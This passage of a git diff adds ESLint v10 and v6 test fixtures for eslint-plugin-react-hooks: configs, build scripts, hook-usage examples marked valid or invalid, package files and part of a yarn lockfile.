+    rules: {
+      'react-hooks/exhaustive-deps': 'error',
+    },
+  },
+]);
diff --git a/fixtures/eslint-v10/index.js b/fixtures/eslint-v10/index.js
new file mode 100644
index 000000000000..601b68a0328c
--- /dev/null
+++ b/fixtures/eslint-v10/index.js
@@ -0,0 +1,182 @@
+/**
+ * Exhaustive Deps
+ */
+// Valid because dependencies are declared correctly
+function Comment({comment, commentSource}) {
+  const currentUserID = comment.viewer.id;
+  const environment = RelayEnvironment.forUser(currentUserID);
+  const commentID = nullthrows(comment.id);
+  useEffect(() => {
+    const subscription = SubscriptionCounter.subscribeOnce(
+      `StoreSubscription_${commentID}`,
+      () =>
+        StoreSubscription.subscribe(
+          environment,
+          {
+            comment_id: commentID,
+          },
+          currentUserID,
+          commentSource
+        )
+    );
+    return () => subscription.dispose();
+  }, [commentID, commentSource, currentUserID, environment]);
+}
+
+// Valid because no dependencies
+function UseEffectWithNoDependencies() {
+  const local = {};
+  useEffect(() => {
+    console.log(local);
+  });
+}
+function UseEffectWithEmptyDependencies() {
+  useEffect(() => {
+    const local = {};
+    console.log(local);
+  }, []);
+}
+
+// OK because `props` wasn't defined.
+function ComponentWithNoPropsDefined() {
+  useEffect(() => {
+    console.log(props.foo);
+  }, []);
+}
+
+// Valid because props are declared as a dependency
+function ComponentWithPropsDeclaredAsDep({foo}) {
+  useEffect(() => {
+    console.log(foo.length);
+    console.log(foo.slice(0));
+  }, [foo]);
+}
+
+// Valid because individual props are declared as dependencies
+function ComponentWithIndividualPropsDeclaredAsDeps(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    console.log(props.bar);
+  }, [props.bar, props.foo]);
+}
+
+// Invalid because neither props or props.foo are declared as dependencies
+function ComponentWithoutDeclaringPropAsDep(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  // eslint-disable-next-line react-hooks/void-use-memo
+  useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  // eslint-disable-next-line react-hooks/void-use-memo
+  React.useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.notReactiveHook(() => {
+    console.log(props.foo);
+  }, []); // This one isn't a violation
+}
+
+/**
+ * Rules of Hooks
+ */
+// Valid because functions can call functions.
+function normalFunctionWithConditionalFunction() {
+  if (cond) {
+    doSomething();
+  }
+}
+
+// Valid because hooks can call hooks.
+function useHook() {
+  useState();
+}
+const whatever = function useHook() {
+  useState();
+};
+const useHook1 = () => {
+  useState();
+};
+let useHook2 = () => useState();
+useHook2 = () => {
+  useState();
+};
+
+// Invalid because hooks can't be called in conditionals.
+function ComponentWithConditionalHook() {
+  if (cond) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useConditionalHook();
+  }
+}
+
+// Invalid because hooks can't be called in loops.
+function useHookInLoops() {
+  while (a) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook1();
+    if (b) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook2();
+  }
+  while (c) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook3();
+    if (d) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook4();
+  }
+}
+
+/**
+ * Compiler Rules
+ */
+// Invalid: component factory
+function InvalidComponentFactory() {
+  const DynamicComponent = () => <div>Hello</div>;
+  // eslint-disable-next-line react-hooks/static-components
+  return <DynamicComponent />;
+}
+
+// Invalid: mutating globals
+function InvalidGlobals() {
+  // eslint-disable-next-line react-hooks/immutability
+  window.myGlobal = 42;
+  return <div>Done</div>;
+}
+
+// Invalid: useMemo with wrong deps
+function InvalidUseMemo({items}) {
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const sorted = useMemo(() => [...items].sort(), []);
+  return <div>{sorted.length}</div>;
+}
+
+// Invalid: missing/extra deps in useEffect
+function InvalidEffectDeps({a, b}) {
+  useEffect(() => {
+    console.log(a);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+
+  useEffect(() => {
+    console.log(a);
+    // TODO: eslint-disable-next-line react-hooks/exhaustive-effect-dependencies
+  }, [a, b]);
+}
diff --git a/fixtures/eslint-v10/package.json b/fixtures/eslint-v10/package.json
new file mode 100644
index 000000000000..ee5cb95e02b4
--- /dev/null
+++ b/fixtures/eslint-v10/package.json
@@ -0,0 +1,16 @@
+{
+  "private": true,
+  "name": "eslint-v10",
+  "dependencies": {
+    "eslint": "^10.0.0",
+    "eslint-plugin-react-hooks": "link:../../build/oss-stable/eslint-plugin-react-hooks",
+    "jiti": "^2.4.2"
+  },
+  "scripts": {
+    "build": "node build.mjs && yarn",
+    "lint": "tsc --noEmit && eslint index.js --report-unused-disable-directives"
+  },
+  "devDependencies": {
+    "typescript": "^5.4.3"
+  }
+}
diff --git a/fixtures/eslint-v10/tsconfig.json b/fixtures/eslint-v10/tsconfig.json
new file mode 100644
index 000000000000..b81887fc175b
--- /dev/null
+++ b/fixtures/eslint-v10/tsconfig.json
@@ -0,0 +1,20 @@
+{
+  "compilerOptions": {
+    "lib": [
+      "es2022"
+    ],
+    "module": "nodenext",
+    "moduleResolution": "nodenext",
+    "target": "es2022",
+    "typeRoots": [
+      "./node_modules/@types"
+    ],
+    "skipLibCheck": true
+  },
+  "exclude": [
+    "node_modules",
+    "**/node_modules",
+    "../node_modules",
+    "../../node_modules"
+  ]
+}
diff --git a/fixtures/eslint-v6/.eslintrc.json b/fixtures/eslint-v6/.eslintrc.json
new file mode 100644
index 000000000000..672da7a085a6
--- /dev/null
+++ b/fixtures/eslint-v6/.eslintrc.json
@@ -0,0 +1,11 @@
+{
+  "root": true,
+  "extends": ["plugin:react-hooks/recommended"],
+  "parserOptions": {
+    "ecmaVersion": 2020,
+    "sourceType": "module",
+    "ecmaFeatures": {
+      "jsx": true
+    }
+  }
+}
diff --git a/fixtures/eslint-v6/README.md b/fixtures/eslint-v6/README.md
new file mode 100644
index 000000000000..7f0ebe8b038b
--- /dev/null
+++ b/fixtures/eslint-v6/README.md
@@ -0,0 +1,12 @@
+# ESLint v6 Fixture
+
+This fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 6.
+
+Run the following to test.
+
+```sh
+cd fixtures/eslint-v6
+yarn
+yarn build
+yarn lint
+```
diff --git a/fixtures/eslint-v6/build.mjs b/fixtures/eslint-v6/build.mjs
new file mode 100644
index 000000000000..e0dd355ba439
--- /dev/null
+++ b/fixtures/eslint-v6/build.mjs
@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+
+import {execSync} from 'node:child_process';
+import {dirname, resolve} from 'node:path';
+import {fileURLToPath} from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+execSync('yarn build -r stable eslint-plugin-react-hooks', {
+  cwd: resolve(__dirname, '..', '..'),
+  stdio: 'inherit',
+});
diff --git a/fixtures/eslint-v6/index.js b/fixtures/eslint-v6/index.js
new file mode 100644
index 000000000000..143228e12cb7
--- /dev/null
+++ b/fixtures/eslint-v6/index.js
@@ -0,0 +1,167 @@
+/**
+ * Exhaustive Deps
+ */
+// Valid because dependencies are declared correctly
+function Comment({comment, commentSource}) {
+  const currentUserID = comment.viewer.id;
+  const environment = RelayEnvironment.forUser(currentUserID);
+  const commentID = nullthrows(comment.id);
+  useEffect(() => {
+    const subscription = SubscriptionCounter.subscribeOnce(
+      `StoreSubscription_${commentID}`,
+      () =>
+        StoreSubscription.subscribe(
+          environment,
+          {
+            comment_id: commentID,
+          },
+          currentUserID,
+          commentSource
+        )
+    );
+    return () => subscription.dispose();
+  }, [commentID, commentSource, currentUserID, environment]);
+}
+
+// Valid because no dependencies
+function UseEffectWithNoDependencies() {
+  const local = {};
+  useEffect(() => {
+    console.log(local);
+  });
+}
+function UseEffectWithEmptyDependencies() {
+  useEffect(() => {
+    const local = {};
+    console.log(local);
+  }, []);
+}
+
+// OK because `props` wasn't defined.
+function ComponentWithNoPropsDefined() {
+  useEffect(() => {
+    console.log(props.foo);
+  }, []);
+}
+
+// Valid because props are declared as a dependency
+function ComponentWithPropsDeclaredAsDep({foo}) {
+  useEffect(() => {
+    console.log(foo.length);
+    console.log(foo.slice(0));
+  }, [foo]);
+}
+
+// Valid because individual props are declared as dependencies
+function ComponentWithIndividualPropsDeclaredAsDeps(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    console.log(props.bar);
+  }, [props.bar, props.foo]);
+}
+
+// Invalid because neither props or props.foo are declared as dependencies
+function ComponentWithoutDeclaringPropAsDep(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.notReactiveHook(() => {
+    console.log(props.foo);
+  }, []); // This one isn't a violation
+}
+
+/**
+ * Rules of Hooks
+ */
+// Valid because functions can call functions.
+function normalFunctionWithConditionalFunction() {
+  if (cond) {
+    doSomething();
+  }
+}
+
+// Valid because hooks can call hooks.
+function useHook() {
+  useState();
+}
+const whatever = function useHook() {
+  useState();
+};
+const useHook1 = () => {
+  useState();
+};
+let useHook2 = () => useState();
+useHook2 = () => {
+  useState();
+};
+
+// Invalid because hooks can't be called in conditionals.
+function ComponentWithConditionalHook() {
+  if (cond) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useConditionalHook();
+  }
+}
+
+// Invalid because hooks can't be called in loops.
+function useHookInLoops() {
+  while (a) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook1();
+    if (b) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook2();
+  }
+  while (c) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook3();
+    if (d) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook4();
+  }
+}
+
+/**
+ * Compiler Rules
+ */
+// Invalid: component factory
+function InvalidComponentFactory() {
+  const DynamicComponent = () => <div>Hello</div>;
+  // eslint-disable-next-line react-hooks/static-components
+  return <DynamicComponent />;
+}
+
+// Invalid: mutating globals
+function InvalidGlobals() {
+  // eslint-disable-next-line react-hooks/immutability
+  window.myGlobal = 42;
+  return <div>Done</div>;
+}
+
+// Invalid: useMemo with wrong deps
+function InvalidUseMemo({items}) {
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const sorted = useMemo(() => [...items].sort(), []);
+  return <div>{sorted.length}</div>;
+}
diff --git a/fixtures/eslint-v6/package.json b/fixtures/eslint-v6/package.json
new file mode 100644
index 000000000000..c410edd78fc8
--- /dev/null
+++ b/fixtures/eslint-v6/package.json
@@ -0,0 +1,12 @@
+{
+  "private": true,
+  "name": "eslint-v6",
+  "dependencies": {
+    "eslint": "^6",
+    "eslint-plugin-react-hooks": "link:../../build/oss-stable/eslint-plugin-react-hooks"
+  },
+  "scripts": {
+    "build": "node build.mjs && yarn",
+    "lint": "eslint index.js --report-unused-disable-directives"
+  }
+}
diff --git a/fixtures/eslint-v6/yarn.lock b/fixtures/eslint-v6/yarn.lock
new file mode 100644
index 000000000000..5af9623e877f
--- /dev/null
+++ b/fixtures/eslint-v6/yarn.lock
@@ -0,0 +1,865 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@^7.0.0":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+acorn-jsx@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^7.1.1:
+  version "7.4.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
+  integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
+
+ajv@^6.10.0, ajv@^6.10.2:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ansi-escapes@^4.2.1:
+  version "4.3.2"
+  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
+  integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==
+  dependencies:
+    type-fest "^0.21.3"
+
+ansi-regex@^4.1.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.1.tgz#164daac87ab2d6f6db3a29875e2d1766582dabed"
+  integrity sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^3.2.0, ansi-styles@^3.2.1:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
+  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+  dependencies:
+    color-convert "^1.9.0"
+
+ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+argparse@^1.0.7:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
+  integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
+  dependencies:
+    sprintf-js "~1.0.2"
+
+astral-regex@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-1.0.0.tgz#6c8c3fb827dd43ee3918f27b82782ab7658a6fd9"
+  integrity sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==
+
+balanced-match@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
+  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+chalk@^2.1.0:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.1.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+chardet@^0.7.0:
+  version "0.7.0"
+  resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.7.0.tgz#90094849f0937f2eedc2425d0d28a9e5f0cbad9e"
+  integrity sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==
+
+cli-cursor@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-3.1.0.tgz#264305a7ae490d1d03bf0c9ba7c925d1753af307"
+  integrity sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==
+  dependencies:
+    restore-cursor "^3.1.0"
+
+cli-width@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-3.0.0.tgz#a2f48437a2caa9a22436e794bf071ec9e61cedf6"
+  integrity sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+
+cross-spawn@^6.0.5:
+  version "6.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.6.tgz#30d0efa0712ddb7eb5a76e1e8721bffafa6b5d57"
+  integrity sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==
+  dependencies:
+    nice-try "^1.0.4"
+    path-key "^2.0.1"
+    semver "^5.5.0"
+    shebang-command "^1.2.0"
+    which "^1.2.9"
+
+debug@^4.0.1:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+deep-is@~0.1.3:
+  version "0.1.3"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
+  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+emoji-regex@^7.0.1:
+  version "7.0.3"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
+  integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+escape-string-regexp@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
+
+"eslint-plugin-react-hooks@link:../../build/oss-stable/eslint-plugin-react-hooks":
+  version "0.0.0"
+  uid ""
+
+eslint-scope@^5.0.0:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
+  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^4.1.1"
+
+eslint-utils@^1.4.3:
+  version "1.4.3"
+  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-1.4.3.tgz#74fec7c54d0776b6f67e0251040b5806564e981f"
+  integrity sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==
+  dependencies:
+    eslint-visitor-keys "^1.1.0"
+
+eslint-visitor-keys@^1.1.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e"
+  integrity sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==
+
+eslint@^6:
+  version "6.8.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-6.8.0.tgz#62262d6729739f9275723824302fb227c8c93ffb"
+  integrity sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==
+  dependencies:
+    "@babel/code-frame" "^7.0.0"
+    ajv "^6.10.0"
+    chalk "^2.1.0"
+    cross-spawn "^6.0.5"
+    debug "^4.0.1"
+    doctrine "^3.0.0"
+    eslint-scope "^5.0.0"
+    eslint-utils "^1.4.3"
+    eslint-visitor-keys "^1.1.0"
+    espree "^6.1.2"
+    esquery "^1.0.1"
+    esutils "^2.0.2"
+    file-entry-cache "^5.0.1"
+    functional-red-black-tree "^1.0.1"
+    glob-parent "^5.0.0"
+    globals "^12.1.0"
+    ignore "^4.0.6"
+    import-fresh "^3.0.0"
+    imurmurhash "^0.1.4"
+    inquirer "^7.0.0"
+    is-glob "^4.0.0"
+    js-yaml "^3.13.1"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.3.0"
+    lodash "^4.17.14"
+    minimatch "^3.0.4"
+    mkdirp "^0.5.1"
+    natural-compare "^1.4.0"
+    optionator "^0.8.3"
+    progress "^2.0.0"
+    regexpp "^2.0.1"
+    semver "^6.1.2"
+    strip-ansi "^5.2.0"
+    strip-json-comments "^3.0.1"
+    table "^5.2.3"
+    text-table "^0.2.0"
+    v8-compile-cache "^2.0.3"
+
+espree@^6.1.2:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-6.2.1.tgz#77fc72e1fd744a2052c20f38a5b575832e82734a"
+  integrity sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==
+  dependencies:
+    acorn "^7.1.1"
+    acorn-jsx "^5.2.0"
+    eslint-visitor-keys "^1.1.0"
+
+esprima@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
+  integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
+
+esquery@^1.0.1:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
